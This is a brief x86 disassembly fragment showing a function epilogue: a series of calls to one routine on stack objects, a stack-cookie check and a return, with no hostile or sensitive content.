lea ecx, [esp + 0x408]
call fcn.100087f0
mov eax, dword [esp + 0xa0]
mov eax, dword [esp + 0x9c]
lea ecx, [esp + 0x43c]
call fcn.100087f0
mov eax, dword [esp + 0x98]
mov eax, dword [esp + 0x94]
lea ecx, [esp + 0x480]
call fcn.100087f0
mov eax, dword [esp + 0x90]
mov eax, dword [esp + 0x8c]
lea ecx, [esp + 0x4b4]
call fcn.100087f0
mov eax, dword [esp + 0x88]
mov eax, dword [esp + 0x84]
lea ecx, [esp + 0x4f0]
call fcn.100087f0
mov eax, dword [esp + 0x80]
mov eax, dword [esp + 0x7c]
lea ecx, [esp + 0x52c]
call fcn.100087f0
mov eax, dword [esp + 0x78]
mov eax, dword [esp + 0x74]
lea ecx, [esp + 0x560]
call fcn.100087f0
mov eax, dword [esp + 0x70]
mov eax, dword [esp + 0x6c]
lea ecx, [esp + 0x5a0]
call fcn.100087f0
mov eax, dword [esp + 0x68]
mov eax, dword [esp + 0x64]
lea ecx, [esp + 0x5e4]
call fcn.100087f0
mov eax, dword [esp + 0x60]
mov eax, dword [esp + 0x5c]
lea ecx, [esp + 0x624]
call fcn.100087f0
mov eax, dword [esp + 0x58]
mov eax, dword [esp + 0x54]
lea ecx, [esp + 0x67c]
call fcn.100087f0
mov eax, dword [esp + 0x50]
mov eax, dword [esp + 0x4c]
lea ecx, [esp + 0x6b0]
call fcn.100087f0
mov eax, dword [esp + 0x48]
mov eax, dword [esp + 0x44]
lea ecx, [esp + 0x6e8]
call fcn.100087f0
mov eax, dword [esp + 0x40]
mov eax, dword [esp + 0x3c]
lea ecx, [esp + 0x724]
call fcn.100087f0
mov eax, dword [esp + 0x38]
mov eax, dword [esp + 0x34]
lea ecx, [esp + 0x760]
call fcn.100087f0
mov eax, dword [esp + 0x30]
mov eax, dword [esp + 0x2c]
lea ecx, [esp + 0x798]
call fcn.100087f0
mov eax, dword [esp + 0x28]
mov eax, dword [esp + 0x24]
lea ecx, [esp + 0x7e4]
call fcn.100087f0
mov eax, dword [esp + 0x20]
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 0x820]
call fcn.100087f0
mov eax, dword [esp + 0x18]
mov eax, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
push 0x1006eed9
call fcn.10087c4b
add esp, 4
mov ecx, dword [esp + 0xb08]
xor ecx, esp
call fcn.100879aa
add esp, 0xb0c
pop esi
pop edi
pop ebx
pop ebp
ret